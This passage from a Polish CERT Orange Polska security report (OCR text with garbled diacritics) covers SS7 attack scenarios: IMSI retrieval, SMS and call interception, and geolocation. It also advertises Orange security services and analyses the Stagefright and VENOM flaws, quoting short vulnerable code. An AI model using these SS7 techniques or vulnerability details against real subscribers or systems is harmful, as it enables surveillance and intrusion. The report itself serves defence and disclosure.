(Destination Point Code - punkt docelowy). SEP-em
w tym wypadku moga by¢é HLR, MSC, SMSC, MMSC
itd.

m BSC (Base Station Controller). Kontroler stacji bazo-
wych (BTS). Nadzoruje od kilku do kilkunastu stacji
bazowych.

= BTS (Base Transfer Station). Stacja bazowa, urzadze-
nie, do ktérego poditacza sie urzadzenie facznosci
GSM.

m CID (Cell ID). Identyfikator stacji bazowe;.

Przyktadowe scenariusze dziatania

Dziatanie poszczegdlnych elementéw na podstawo-

wym poziomie najtatwiej przedstawié¢ na przykiadzie

wykonania potaczenia glosowego z telefonu komorko-

wego.

= Gdy telefon znajduje sie w zasiegu BTS, informacja
trafia do MSC za posrednictwem BSC.

= Telefon wykonuje potaczenie na okreslony MSISDN.

= MSC wysyta zapytanie do HLR o MSC numeru doce-
lowego.

= HLR zwraca odpowiedz i jednoczesnie wysyta zada-
nie potaczenia do MSC docelowego.

= MSC docelowe sprawdza w HLR/VLR informacje od-
nosnie do BSC docelowego dla adresata i wysyta za-
danie zestawienia pofaczenia.

m Telefon adresata odpowiada i zestawia potaczenie.

Proces wysytania SMS dla SS7

= Telefon znajduje sie w zasiegu danego BTS-a.
u Wystany SMS trafia do MSC.

u MSC przesylta otrzymany SMS do SMSC.

= SMSC odpytuje HLR o MSC adresata.

= HLR zwraca MSC adresata.

= SMS zostaje wystany do docelowego MSC, raport do-
reczenia za posrednictwem SMSC trafia do nadawcy.

Poniewaz protokét SS7 nie byt projektowany z mysla
o bezpieczenstwie, zawiera szereg potencjalnych po-
datnosci pozwalajacych m.in. na sledzenie uzytkow-
nikéw, spam SMS, przechwytywanie potaczen gto-
sowych, a nawet przeprowadzenie fraudéw. Ponizej
przedstawiamy kilka z nich.

Jak pozna¢ IMSI ofiary?

IMSI (International Mobile Subscriber Identity) to uzy-
wany wewnatrz sieci SS7 numer nadany przez opera-
tora. Schemat pobrania identyfikatora IMSI przedsta-
wiono na rysunku 17. Atakujacy jest w stanie poznac¢
ten numer na podstawie MSISDN, a nastepnie wyko-
rzystac¢ go do bardziej wyrafinowanych atakéw. Ataku-
jacy wysyta zapytanie sendRoutinginfoForSM do MSC,
nastepnie jest ono przesylane do HLR. Odpowiedz
z HLR zawiera:

identyfikator HLR,
identyfikator MSC/VLR,
identyfikator IMSI.

Podgladanie SMS

W kolejnym kroku atakujacy moze sprébowacé podgla-
daé SMS-y przychodzace do ofiary (rysunek 18). W tym
celu wysyta do HLR informacje o dostepnosci ofiary
w symulowanym i kontrolowanym przez siebie MSC.
W efekcie w momencie wystania wiadomosci teksto-
wej SMSC otrzyma podstawiona informacje o dostep-
nosci ofiary w btednym MSC, a wiadomos¢ trafi do ata-
kujacego.
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Rysunek 17. Schemat pobrania identyfikatora IMSI
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Rysunek 20. Podstuch rozméw

Geolokalizacja uzytkownika

Posiadajac dane o IMSI uzytkownika, atakujacy moze
takze fizycznie zlokalizowaé swoja ofiare (rysunek 19.).
Podajac sie za HLR i wysyfajac komunikat provide-
Subscriberinfo do MSC ofiary, otrzyma w odpowiedzi
zwrotnej CID BTS-a, z ktérego korzysta ofiara. P6zniej
sprawa jest juz trywialna - w internecie istnieja bazy
CID i doktadnych lokalizacji BTS.

Podstuch rozméw

Znajac IMSI ofiary, mozna sie nawet pokusi¢ o pod-
stuchanie jej rozméw. W tym celu napastnik wysyta do
HLR informacje o dostepnosci ofiary w ,,swoim” MSC
(rysunek 20.). Nastepnie w momencie inicjacji rozmowy
HLR wskaze na nieprawidiowe MSC, a tam przestepca
zainicjuje potaczenie do wiasciwego abonenta, pozo-
stajac jednoczesnie elementem rozmowy.

Bezpieczenstwo SS7 - przede wszystkim z racji braku
zaimplementowanych rozwigzan bezpieczenstwa - to

wciaz nie do konca zagospodarowany obszar, co moze
przyniesé bardzo powazne konsekwencje.

Zaskakujacy jest fakt, iz przy swiadomosci braku me-
chanizméw bezpieczenstwa w samym protokole ope-
ratorzy czesto lekcewaza potencjalne ryzyka. To jed-
nak zaczyna si¢ powoli zmienia¢. Dowodem rosnacej
dbatosci o bezpieczenstwo uzytkownikéw sa m.in.:

= monitorowanie anomalii na stykach STP (wychwyty-
wanie niestandardowych komunikatéw, gdy pakiet
jest spoza zaufanego grona nadawcoéw, zawiera nie-
standardowe wartosci badz jest nadawany w zbyt
wysokiej czestotliwosci),

m instalacje firewalli blokujacych niepozadane wiado-
mosci SS7 i zapobiegajacych naduzyciom,

u odpowiednie filtrowanie ruchu do weziéw wspdinych
dla sieci IP i SS7 (np. GGSN), odpowiednie zabezpie-
czenie ustug aktywnych na tych weztach.
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Nasza jednostka od lat scisle
wspotpracuje z Fundacja
Orange oraz organizacjami
pozarzadowymi.

11. Ochrona Rodzicielska

CERT Orange Polska, ktérego jedna z funkgcji jest dba-
nie o bezpieczenstwo w sieci internet, nie zapomina
o dzieciach i ich rodzicach.

Nasza jednostka od lat scisle wspoéipracuje z Fundacja
Orange oraz organizacjami pozarzadowymi. Efektem
tej wspoélpracy jest szereg materialéw edukacyjnych
umieszczanych na przykiad na blog.orange.pl czy tez
filmoéw wideo wykorzystywanych m.in. przez nauczy-
cieli gimnazjalnych. Oprocz prowadzenia dziatalnosci
edukacyjnej udostepniamy takze nowoczesne rozwia-
zania technologiczne pozwalajace chroni¢ naszych
klientéw przed zagrozeniami. Przykladem jest obecny
na rynku od 2014 roku Bezpieczny Starter.

Bezpieczny Starter - to rozwiazanie innowacyjne na
skale swiatowa. Filtruje ono strony niebezpieczne dla

dzieci i mtodziezy i blokuje dostep do takich katego-
rii, jak seks, pornografia, tresci brutalne i obrzydliwe,
narkotyki czy ztosliwe oprogramowanie. Kluczem jest
fakt, iz cale filtrowanie odbywa sie na poziomie sieci
operatora. Nie ma koniecznosci instalowania opro-
gramowania na urzadzeniach klientéw, co pozwala na
uniezaleznienie od systemu operacyjnego czy platfor-
my sprzetowej. Nie wplywa ono réwniez na wydajnosé
chronionego urzadzenia, a takze - czy moze przede
wszystkim - nie pozwala na odinstalowanie kontroli ro-
dzicielskiej z urzadzenia dziecka.

Aby skorzystac¢ z ochrony, wystarczy kupi¢ odpowied-
nio oznaczony starter prepaid i wiozy¢ go do urzadze-
nia. Dla Orange Polska bezpieczenstwo dzieci w sieci
jest kluczowe - ustuga kontroli rodzicielskiej w ramach
Bezpiecznego Startera jest bezptatna.
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Nie znamy dnia, godziny ani
napastnika, dlatego warto
przetestowac skutecznos¢
zabezpieczen naszej sieci, by
uzyskac¢ wiarygodna informacje,
jaki poziom ataku spowoduje
niedostepnosc¢ zasobow.

12. Profesjonalne ustugi bezpieczenstwa
Orange Polska

12.1. DDoS Protection

Monitorowanie w trybie 24/7/365 ruchu sieciowego
klienta pod katem ataku DDoS, tj. anomalii mogacych
skutkowaé wysyceniem tacza i w efekcie utrata ciagto-
$ci procesow biznesowych. W przypadku faktycznego
ataku nastepuje eliminacja podejrzanych pakietow, a do
klienta trafia jedynie prawidtowy ruch sieciowy. Ustuga
pozwala réwniez na ograniczanie skutkow nowo wyste-
pujacych atakéw DDoS dzigki filtrowaniu ruchu klienta
za pomoca ,black” i ,,white” list oraz korzystaniu z fil-
tréow tworzonych w oparciu o bazy GeolP.

Poprzez ataki DDoS rozumiane sa w szczegolnosci na-

stepujace zagrozenia:

= ataki na pasmo potrzebne do swiadczenia ustugi,
np. zalanie datagramami ICMP/UDP,

= ataki na wyczerpanie zasobéw systemu swiadczace-
go ustuge, np. zalanie pakietami z flagg TCP SYN,

m ataki na konkretna aplikacje wykorzystywana do
Swiadczenia ustugi, np. ataki z wykorzystaniem pro-
tokotu HTTP (duza ilos¢ sesji imitujacych sesje prze-
gladarki uzytkownika), DNS czy protokotéw aplikacji
VolIP).

12.2. SOC as a Service

Monitorowanie w trybie 24/7/365 przez SOC Orange
Polska kluczowych, wskazanych przez klienta syste-
moéw biznesowych. Systemy monitorowane sa pod ka-
tem zdarzen noszacych znamiona incydentu bezpie-
czenstwa w zakresie ustalonym w umowie z klientem.
Ustuga obejmuje:

= instalacje rozwigzania Security Incident and Event Mo-

nitoring (SIEM) w infrastrukturze klienta,

= integracje zrédet logow, korelacje zdarzen,
= monitorowanie zdarzen w systemach klienta,

m notyfikacje o naruszeniach bezpieczeinstwa w trybie
okreslonym w SLA,

m dostep do portalu i procedur obstugi incydentéw,

m dostepnosé analitykow i ekspertow w trybie okreslo-
nym w SLA,

u raportowanie, administracje i utrzymanie systemu.

12.3. Testy penetracyjne

Przeprowadzenie kontrolowanego ataku na system te-
leinformatyczny klienta w celu praktycznej oceny bieza-
cego stanu bezpieczenstwa systemu, a w szczegdlno-
$ci obecnosci znanych podatnoscii odpornosci na proby
przetamania zabezpieczen. Analiza przeprowadzana
z perspektywy potencjalnego wlamywacza moze zawie-
ra¢ aktywne wykorzystywanie podatnosci (np. poprzez
uzycie exploitow). W przeciwienstwie do ustug audytu
bezpieczenstwa testy penetracyjne nie musza odbywac
sie wedlug sformalizowanej metodologii, ktorej zbudo-
wanie byloby trudne ze wzgledu na szybko zmieniajacy
sie stan wiedzy (np. nowe exploity). Metodyka badania
jest oparta na doswiadczeniu Orange Polska. Nasi te-
sterzy posiadaja certyfikaty potwierdzajace ich kom-
petencje i etyke: CISSP (Certified Information Systems
Security Professional), CEH (Certified Ethical Hacker).
Testy penetracyjne wykonywane przez Orange Polska

daja klientowi obiektywna i niezalezna ocene rzeczywi-
stego poziomu bezpieczenstwa jego systeméw. W ofer-
cie znajduja sie testy blackbox infrastruktury oraz apli-
kacji internetowych.

12.4. Audyt oraz automatyzacja
procesu zarzadzania
bezpieczenstwem sieciowym

W ustudze zawarte sa:

m efektywne usystematyzowanie wiedzy dotyczacej
systemu firewalli u klienta (audyt konfiguraciji polityk
ochrony),

= optymalizacja konfiguracji (optymalizacja wydajnosci,
wykluczenia regut niedozwolonych, pokrywajacych sie
oraz niezgodnych z wewnetrznymi politykami bezpie-
czenstwa, zaleceniami wynikajacymi z norm, ktérym
podlega organizacija itd.),

m efektywna kontrola ochrony poprzez monitorowanie
zmian biezacych i regularne audyty polityk.

Elementem ustugi moze by¢ Zarzadzanie Zmiana w za-
kresie regut firewalli. Na zyczenie klienta ustuga moze
zostac¢ ograniczona wylacznie do audytu urzadzen bez-
pieczenstwa sieciowego.

Po uruchomieniu ustugi na serwerze z dostepem do in-
frastruktury klienta mozliwe sa audyt regut, a takze mo-
nitorowanie w czasie rzeczywistym zmian w politykach
firewalli z mozliwoscia natychmiastowej notyfikaciji
o zmianach, doktadna analiza i czyszczenie regut oraz
raportowanie o niezgodnosciach. Rozwigzanie pozwala
na analize urzadzen wszystkich liczacych si¢ na rynku
producentéw urzadzen firewall.

12.5. Antymalware

Wieloprotokotowa analiza ruchu sieciowego w czasie
rzeczywistym, obejmujaca zachowanie podejrzanego
kodu oraz generowanych potaczen callback. Przycho-
dzace ataki sa wykrywane z wykorzystaniem réznych
technik detekcji powigzanych ze szczegétowa analiza
ataku. Podejrzane przeplywy sieciowe sa odtwarzane
w maszynach wirtualnych, przeprowadzajacych za-
awansowane analizy zachowania malware w srodowi-
sku symulujacym realne stacje robocze. Proces opiera
sie na analizie zachowan kodu, na zasadzie bezsygna-
turowej, co pozwala obja¢ niesklasyfikowany wczesniej
malware oraz kod wykorzystujagcy zaawansowane me-
chanizmy ukrywania dziatalnosci. Ze wzgledu na nature
takich atakéw nie ma znanych wczesniej informacji na
ich temat, ktére mogtyby by¢ uzyte w procesach korela-
cji i okreslania reputacji.

Potaczenia wychodzace analizowane s3 pod katem nie-
autoryzowanych polaczen swiadczacych o obecnosci
w sieci komputeréw zainfekowanych przed wdrozeniem
ustugi poza siecia lub z wykorzystaniem niesieciowych
wektorow ataku (np. infekcja poprzez pendrive USB).




12.6. Secure DNS

W przypadku gdy korzystamy z autorytatywnych ser-
weréw DNS, sa one réwniez narazone na ataki DDoS.
Wtedy rozwigzaniem jest ustuga Secure DNS.

Oparta jest ona na rozprzestrzenionej po catym swie-
cie sieci wydajnych, zabezpieczonych przed atakami
DDoS serweré6w DNS. W ramach ustugi dostepnych
jest 50 klastrow serweréw na pieciu kontynentach,
umieszczonych w strategicznych miejscach internetu.
Pozwalaja one na obstuge nawet do 25 milionéw zapy-
tan na sekunde.

W przypadku ataku DDoS, ktérego celem jest infra-
struktura DNS, moze on zosta¢ rozproszony po we-
ztach Secure DNS. Dzigki temu przeciazenie jednego
lub kilku weztéw nie spowoduje probleméw z widocz-
noscia domen klienta. Serwery korzystaja z transmisji
sieciowej Anycast, ktéra w przypadku niedostepnosci
infrastruktury umozliwia wystanie danych do kolejnego
najblizszego w sieci wezta.

Korzystanie z Secure DNS pozwala zaréwno na usu-
niecie z infrastruktury klienta potencjalnych celéw ata-
kéw, jak i umozliwia rezygnacje z wydatkéw CAPEX
i OPEX niezbednych do utrzymania wtasnej dedykowa-
nej infrastruktury.

12.7. Audyt kodu

Umozliwia eliminacje juz na etapie kodowania oprogra-
mowania btedéw mogacych prowadzi¢ do krytycznych
luk bezpieczenstwa. Kod zrédiowy jest skanowany
przy uzyciu profesjonalnego narzedzia wspierajacego
ponad 20 jezykéw programowania, a nastepnie weryfi-
kowany przez eksperta Orange.

Ustuga obejmuje szerokie spektrum aplikacji - po-
czawszy od binarnych, kompilowanych dla konkret-
nych OS, po aplikacje webowe. Kod jest analizowany
pod katem pomijania dobrych praktyk, wykorzystywa-
nia podatnych bibliotek czy tez okreslonego Srodowi-
ska do rozwoju oprogramowania. Wykryte podatnosci
sa klasyfikowane, a nastepnie umieszczane w szcze-
golowym raporcie zawierajacym ocene ich wplywu
na poziom bezpieczenstwa aplikacji oraz wskazéwki,
w jaki sposéb wyeliminowac podatnosci.

Korzysci dla klienta to m.in.: eliminacja btedéw pro-
gramistycznych juz na etapie tworzenia aplikacji, do-
starczenie klientom bezpiecznego produktu, eliminacja
znacznej czesci ryzyka wizerunkowego/finansowego/
prawnego zwigzanego z efektami potencjalnego ataku,
bezpieczenstwo i spojnosé przetwarzanych danych,
zwigekszenie poziomu bezpieczenstwa organizacji
(ograniczenie liczby podatnych systemow).

12.8. Testy wydajnosciowe

Ataki rozproszonej odmowy dostepu (DDoS) to
w ostatnich czasach najpopularniejsza ,,cyberbron”,
ktora wskutek wysokiej podazy jest dostepna na czar-

nym rynku juz nawet za kilkadziesiat ztotych. Nie zna-
my dnia, godziny ani napastnika, dlatego warto prze-
testowaé skutecznosé zabezpieczen naszej sieci, by
uzyskaé¢ wiarygodna informacje, jaki poziom ataku
spowoduje niedostepnosé zasobow.

Testy odpornosci na wolumetryczne ataki DDoS pole-
gaja na wygenerowaniu testowego ataku na wskazane
elementy infrastruktury klienta przy uzyciu sprzetowe-
go generatora ruchu wediug ustalonych scenariuszy
przygotowanych przez wykwalifikowany zespoét CERT
Orange Polska.

Efektem jest dokiadna informacja dotyczaca zmian
dostepnosci infrastruktury klienta podczas ataku.
W przypadku testowania infrastruktury nieposiadaja-
cej zabezpieczen DDoS (patrz ustuga DDoS Protec-
tion) poszukujemy odpowiedzi na pytanie: ,Do jakie-
go momentu moja infrastruktura jest odporna na atak
DDo0S?”. Podsumowaniem testu jest raport koncowy
zawierajacy opisy scenariuszy i wykresy z przeprowa-
dzonego ataku, dane dotyczace reakcji infrastruktury
na atak oraz rekomendacje CERT Orange Polska.

12.9. Skanowanie podatnosci

Systemy teleinformatyczne w firmie mozna w pewnym
sensie porownaé¢ do domu - im wiekszy, tym wiecej
okien, drzwi, lufcikow — generalnie miejsc, przez ktoére
mozna wejsé, jesli zapomnimy o ich zamknieciu, tym
wiecej systemow czy aplikacji, ktéore moga sie okazacé
podatne na atak, jesli nie zatatamy luk bezpieczenstwa
albo - co gorsza - nie bedziemy swiadomi ich istnie-
nia. Ustuga jednorazowego lub cyklicznego skanowa-
nia podatnosci wybranych systeméw teleinformatycz-
nych pozwala na zdobycie realnej i aktualnej wiedzy
na temat ich stabosci, potencjalnych ,,niedomknietych
okien” — drég wejscia do firmowej sieci. Dzigki tej wie-
dzy osoby decyzyjne moga ocenié, jakie kroki nalezy
podjac, by skutecznie zabezpieczy¢ podatne systemy.

12.10. Analizy malware

Najgrozniejsze ztosliwe oprogramowanie to takie, kto-
rego nie da sie wykryé. Cyberprzestepcy odchodza
od techniki ,wejsé, ukrasé, ucieka¢" na rzecz diugo
trwajacych atakéw ATP (seria atakéw) prowadzonych
w ukryciu przez dlugi czas, skierowanych w konkret-
na ofiare/firme i majacych na celu kradziez danych
w trybie ciggtym. W ich wyniku cyberprzestepcy przez
diugi czas kopiuja strategiczne dane firmy, ktére moga
pozniej wykorzysta¢ do kradziezy czy szantazu lub
zaoferowaé konkurencji. Takie ataki mozna przepro-
wadzi¢ przy uzyciu malware'u, ktérego dziatania gros
systemow nie rozpozna automatycznie. Takimi przy-
padkami zajmuja sie analitycy malware CERT Orange
Polska. W sytuacji podejrzenia, iz plik generuje ztosli-
wy ruch w sieci, analitycy uruchamiaja go w szeregu
Scisle kontrolowanych srodowisk wirtualnych, doktad-
nie analizuja jego zachowanie i zbieraja informacje na
temat wszystkich aktywnosci. W efekcie mozliwe jest
zablokowanie zlosliwej aktywnosci wychodzacej z sie-
ci klienta (np. komunikaciji z botnetem).
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W listopadzie 2015 roku
podatnych byto wciaz

ok. 95 procent z ponad miliarda
aktywnych urzadzen.

13. Zataczniki - szczegotowe analizy

13.1. Zatacznik 1.
Podatnosé Stagefright

Stagefright to nazwa grupy podatnosci wykrytych
w natywnych bibliotekach systemu Android, o ktérych
pierwsze informacje pojawily sie 27 czerwca 2015 roku
i ktére pozwalaja na przejecie petnej kontroli nad za-
atakowanym urzadzeniem. W listopadzie 2015 roku
podatnych byto wciaz ok. 95 procent z ponad miliar-
da aktywnych urzadzen. Co gorsza, przy domysinych
ustawieniach urzadzenia exploit zadziata bez interakcji
ze strony uzytkownika!

Wystarczy jeden MMS wystany przez napastnika, by za
jego pomoca mozna uzyska¢ dostep do danych znaj-
dujacych sie na urzadzeniu: wiadomosci SMS i e-mail,
zdjeé, nagran, dokumentoéw, historii przegladarki, da-
nych lokalizacyjnych. Mozna takze podstuchiwac inte-
rakcje ze zdalnymi weztami (serwisy transakcyjne, ser-
wery aplikaciji), modyfikowac je i w efekcie np. krasé
pieniadze z kont e-bankowych.

Opisywana podatnos¢ znajduje sie w bibliotece lib-
stagefright - komponencie systemu Android odpo-
wiedzialnym za obstuge plikow multimedialnych (uzy-
wanym przez odtwarzacze muzyki czy przegladarki
zdjec). Biblioteka libstagefright jest wyjatkowo popu-
larna, wiec prawdopodobienstwo, iz nie jest wykorzy-
stywana w naszym urzadzeniu, jest bardzo niskie.

Aby dobrze zrozumieé¢, gdzie dokiadnie znajduje sie
omawiana podatnos¢ i z czego wynika jej dotkliwosé,
nalezy poznaé zarys architektury aplikacji w systemie
Android (rysunek 21.).

Wigkszos¢ aplikacji dla systemu Android jest napisa-
nych w jezyku Java i wykonywanych na stworzonej
przez Google maszynie wirtualnej Dalvik — kazda apli-
kacja na swojej instancji. Intensywnie korzystaja one
z bibliotek dziatajacych wewnatrz maszyny Dalvik. To
dobrze z punktu widzenia bezpieczenstwa, bowiem

Tytut

Podatnos¢ Stagefright

w przypadku wykorzystania btedu takiej aplikacji prze-
stepca uzyska jedynie dostep do danych w obrebie jej
wirtualnej maszyny, tzn. w razie wiamania do przegla-
darki nie moze uzyskac¢ dostepu do wiadomosci SMS
i vice versa.

W niektérych przypadkach aplikacje Dalvik musza
jednak siegnaé¢ do bibliotek natywnych, wykonywa-
nych bezposrednio na procesorze smartfona, np. gdy
istnieje potrzeba przeprowadzenia duzej liczby ztozo-
nych obliczeniowo operacji. Poniewaz maszyna Dalvik
jest wolniejsza niz natywny procesor, twoércy Androida
uwzglednili mozliwosé¢ zlecania wykonania ustug na
zewnatrz wirtualnej maszyny za posrednictwem spe-
cjalnego interfejsu - JNI (ang. Java Native Interface).
W zatozeniach Android ma by¢ systemem wysoce re-
sponsywnym. Nie jest wiec wskazane, by uzytkownik
czekat np. na przeanalizowanie kodu HTML strony
docelowej na maszynie Dalvik, dlatego wykorzystane
sa szybsze biblioteki natywne. Z punktu widzenia bez-
pieczenstwa to najbardziej wrazliwy moment dziata-
nia aplikacji, bowiem jesli biblioteka natywna zawiera
podatnosci, w przypadku ich wykorzystania atakujacy
uzyska dostep do systemu na poziomie procesora,
z uprawnieniami procesu, w ramach ktérego dziata bi-
blioteka.

Biblioteka libstagefright dziata w kontekscie procesu
mediaserver, z wyjatkowo wysokimi uprawnieniami:
nieskrepowanym dostepem do sieci, kamery, urza-
dzen audio czy interfejsu Bluetooth. Duza liczba oma-
wianych ponizej btedéw, znanych pod zbiorcza nazwa
StageFright, znajduje sie wiasnie w bibliotece libsta-
gefright, giéwnie w kodzie obstugujacym parsowanie
danych formatu MPEG-4.

Podatnosci platform wirtualizaciji

Podatnos¢ Flash Playera (CVE-2015-0310)

Luki CVE-2015-2426 i CVE-2015-2433 a.k.a. Hacking Team’s ATMFD exploit

Witamania do podsysteméw sterujacych samochodami

Backdoor OnionDuke

Botnet Dyre

Trojan VBInject

Trojan Papras

Tabela 7. Wykaz zatacznikow
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Aplikacje
Odtwarzacz Przegladarka
Aplikacja 1 Aplikacja 2

Framework Dalvik

INI

Maszyna Dalvik

Rysunek 21. Zarys architektury systemu Android

Kierunek kopiowania danych
Dane Dane

Rysunek 22. Uszkadzanie danych na stercie

Dobrym przykiadem jest przepetnienie liczby sta-
toprzecinkowej (ang. Integer Overflow):

mTimeToSampleCount = U32_AT(&header[4]);
uint64_t allocSize = mTimeToSampleCount * 2 *
sizeof(uint32_t);

if (allocSize > SIZE_MAX) {

return ERROR_OUT_OF_RANGE;

mTimeToSample = new uint32_timTimeToSampleCount * 2];

Przy mnozeniu dwoéch liczb 32-bitowych (na listingu
typ uint32_t) wynikiem - w miejsce oczekiwanej liczby
64-bitowej (typ uint64_t) - jest liczba 32-bitowa, mniej-
sza niz zakiadana, w wyniku czego na stercie aloko-
wane jest zbyt malo pamieci, do ktérej kopiowana jest
duza ilo$¢ danych.

Opisywany bufor alokowany jest na stercie, czyli struk-
turze danych stuzacej do zarzadzania duzymi frag-
mentami pamieci. Jedng z cech sterty jest to, ze dane
uzytkownika czesto oddzielone sa metadanymi sterty.
Takie metadane opisuja rozktad zaalokowanych i wol-
nych fragmentéw sterty i sa potrzebne, by algorytm,
przydzielajacy aplikacji pamieé, mégt posiadaé infor-
macje o przydzielonych oraz wolnych fragmentach.
W sytuacji gdy dane zapisywane przez program wykra-
czaja poza bufor, nadpisuja one metadane sterty.

W efekcie nastepuje uszkodzenie metadanych ster-
ty przechowywanych za danymi uzytkownika (rysu-
nek 22). Przygotowawszy odpowiednio dane wej-
Sciowe (np. zawartosé filmu w wiadomosci MMS),
napastnik moze uszkodzi¢ sterte w taki sposob, by

doprowadzi¢ do wykonania witasnego kodu i uzyskac¢
dostep do systemu smartfona na poziomie natywnym,
z uprawnieniami procesu mediaserver. Pozwalaja mu
one np. na przylaczenie telefonu do botnetu badz roz-
poczecie inwigilaciji ofiary.

Dlaczego StageFright stanowi bardzo powazne zagro-
zenie?
m Ze wzgledu na duza liczbe wektorow ataku, m.in.:
¢ ztosliwy MMS,
¢ przetwarzanie zawartosci przegladarka internetowa,
¢ odczytanie ztosliwej tresci w aplikacji e-mailowej,

* przegladanie zawartosci z zewnetrznych zrédet,
np. kluczy USB.

= Poniewaz wykorzystanie luki nastepuje w sposoéb

niezauwazony i z minimalna - jesli w ogédle - interak-

cja uzytkownika.

¢ Proces mediaserver jest automatycznie restarto-
wany, jesli jego dziatanie zakonczy sie w wyniku
btedu, dlatego nie jest tatwo zauwazy¢ jego wysta-
pienie. Dodatkowo, w przypadku ataku przy uzyciu
ztosliwego MMS-a, uzytkownik nie musi urucha-
miaé zadnej aplikaciji! Atakujacemu wystarczy
tylko znajomos$¢ numeru telefonu ofiary, po ataku
usunie ztosliwego MMS-a, zanim ofiara zorientuje
sie, ze cos sie stato.

= Trudnosci z dystrybucja poprawek zwiazane z duza
fragmentacja systemu Android.

¢ Na rynku jest obecnych wiele ré6znych wersji systemu
Android, czesto znacznie rézniacych sie miedzy soba.

Poprawki wprowadzone w gtéwnej gatezi kodu mu-
szg wiec zostaé dopasowane do wszystkich wersiji
i gruntownie przetestowane przed udostepnieniem.

W infrastrukturze Orange od lat wdrozone jest rozwia-
zanie antywirusowe wykrywajace i blokujace ztosliwe
i podejrzane MMS-y. Krotko po uzyskaniu informacji
na temat luki StageFright wprowadzono do systemow
sygnatury opisujace exploity, w efekcie nie zaobser-
wowano zadnego udanego ataku na luke StageFright
z wykorzystaniem kanatu MMS.

CERT Orange Polska rekomenduje:
= Wylacz automatyczne pobieranie MMS-6w.

e W ustawieniach aplikacji SMS/Wiadomosci przejdz
do Wiecej -> Ustawienia -> Wiecej ustawien -> MMS
i wylacz opcje Autom. pobieranie.

= Nie pobieraj zawartosci MMS-6w wystanych za po-
moca bramek MMS lub od nieznanych nadawcoéw.

m Unikaj przegladania za pomoca swojego smartfona
niezaufanej zawartosci.

= Nie otwieraj podejrzanie wygladajacych linkéw i stron
WwWWw.

m Unikaj przegladania za pomoca swojego smartfona
niezaufanej zawartosci przestanej za posrednictwem
e-maila.

u Nie odkiadaj aktualizacji oprogramowania smartfona

- zréb ja od razu, gdy uzyskasz odpowiednia informa-
cje z systemu.

13.2. Zalacznik 2. Podatnosci
platform wirtualizacji

Podatnosci systeméw wirtualizacji to zagrozenie nie-

typowe (lecz nie tak grozne jak w przypadku podsta-

wowych pakietéw oprogramowania). Umozliwiaja one

zastosowanie nowego wektora ataku, ktory opisany

zostanie ponizej. Przyktadami tego typu podatnosci

odkrytych w 2015 roku sa:

= CVE-2015-3456 (znana réwniez jako VENOM), podat-
nos$¢ wystepujaca w kodzie wykorzystywanym przez
platformy QEMU, VirtualBox, KVM, Xen,

m podatnosci CVE-2015-2361 i CVE-2015-2362, ktére
zawiera platforma Hyper-V,

m CVE-2015-3650 w platformie VMWare Player i VMWa-
re Workstation.

W ponizszym opisie skoncentrowano si¢ na luce VE-
NOM (oznaczenie CVE-2015-3456), ktéra dotyczy pa-
kietu oprogramowania do wirtualizacji QEMU. Biad
w kodzie odpowiedzialnym za kontroler wirtualnej sta-
cji dyskietek (FDC, ang. Floppy Disk Controller) umoz-
liwia zaatakowanie procesu QEMU przez odpowiednie
przepehienie bufora skutkujace przejeciem kontroli
nad wykonywanym w kontekscie tego procesu kodem.
Zakonczone sukcesem witamanie umozliwia opuszcze-
nie wirtualnego srodowiska przez atakujacego i uzy-
skanie dostepu do systemu gospodarza.

Coto oznacza w praktyce? Bardzo powazne zagrozenie
dla dostawcéw serweréw VPS, bowiem jesli napastnik
witamujac sie z poziomu zakupionego srodowiska VPS,
uzyska dostep do systemu gospodarza, de facto moze
uzyskac¢ réwniez dostep do danych wszystkich innych
klientéw posiadajacych VPS na tym serwerze. W prak-
tyce moze to oznaczaé dostep do dziesiatek, jesli nie
setek aplikaciji i baz danych zawierajacych dane oso-
bowe klientéw i mechanizméw finalizacji transakcji.
Efekty tego ataku moga siegaé daleko poza dostawce
ustugi VPS.

Popetniony przez programistéw QEMU btad jest nieco
podobny do opisanego wczesniej StageFright, m.in.
dlatego, ze réwniez polega na niewtasciwym postugi-
waniu sie liczbami catkowitymi.

Btad wystepuje w funkciji fdctrl_write_data, ktéra od-
powiada za zapisywanie danych na wirtualnej dyskiet-
ce. W funkgcji tej wystepuje zmienna pos typu int (licz-
ba catkowita ze znakiem z zakresu od -2 147 483 648
do 2 147 483 647). Jej wartosé jest pobierana z pola
data_pos struktury FDCtrl reprezentujacej kontroler
dyskietki. Pole w tej strukturze jest natomiast typu uin-
t32_t (czyli liczba catkowita bez znaku z zakresu 0 to
4 294 967 295). Ponizej opisywany wycinek kodu:

static void fdctrl_write_data(FDCtrl *fdctrl, uint32_t value) {
FDrive *cur_drv;
int pos;

[..]

/* FIFO data write */

pos = fdctrl->data_pos++;
pos %= FD_SECTOR_LEN;
fdctrl->fifo[pos] = value;

000

Serwer wirtualny 2
Serwer wirtualny 3
Serwer wirtualny n

Serwer wirtualny 1

Platforma wirtualizacji

Rysunek 23. Eskalacja w platformie wirtualizacji



Przy wykonywaniu funkcji warto$¢ bez znaku jest przy-
pisywana do zmiennej ze znakiem, w efekcie, gdy pole
data_pos przekroczy wartos¢ 2 147 483 647, zostanie
ona zinterpretowana jako ujemna (2 147 483 648 jako
-2 147 483 648, 2 147 483 649 jako -2 147,483,647 itd.).

Po podzieleniu modulo 512 (taka wartos¢ zazwyczaj
ma stata FD_SECTOR_LEN) otrzymujemy wartos¢ z za-
kresu od -511 do 0. W ostatniej linijce przedstawionego
listingu nastepuje zapis do bufora, jesli zmienna pos
bedzie miata wartos¢ ujemna, zapis zostanie wykona-
ny przed poczatkiem bufora. To btad buffer underflow
(w przeciwienstwie do buffer overflow, ktéry polega na
zapisie za koncem bufora). Jest szczegdlnie niebez-
pieczny, bowiem w wielu przypadkach pozwala ominaé
czes¢ systemowych zabezpieczen przed exploitami.
Na rysunku 23. przedstawiono eskalacje w platformie
wirtualizacji.

CERT Orange Polska rekomenduje:

Jesli korzystasz z jednej z podatnych platform, jak naj-
szybciej zaktualizuj podatne oprogramowanie do od-
pornej wersji.

13.3. Zatacznik 3. Podatnosé Flash
Playera (CVE-2015-0310)

Podatnosci w odtwarzaczu Flash to nieprzerwane
zrodto pracy dla researcheréw. Analogicznie do in-
nych silnikéw przetwarzajacych zawartos¢ aktywna
Flash Player stanowi bardzo ziozona i rozlegta, a jed-
noczesnie tatwo dostepna dla przestepcy powierzch-
ni¢ ataku. Opisywana podatnos¢ wyréznia mozliwosé
obejscia mechanizmu ASLR (Address Space Layout
Randomization, Losowy Rozkiad Przestrzeni Adreso-
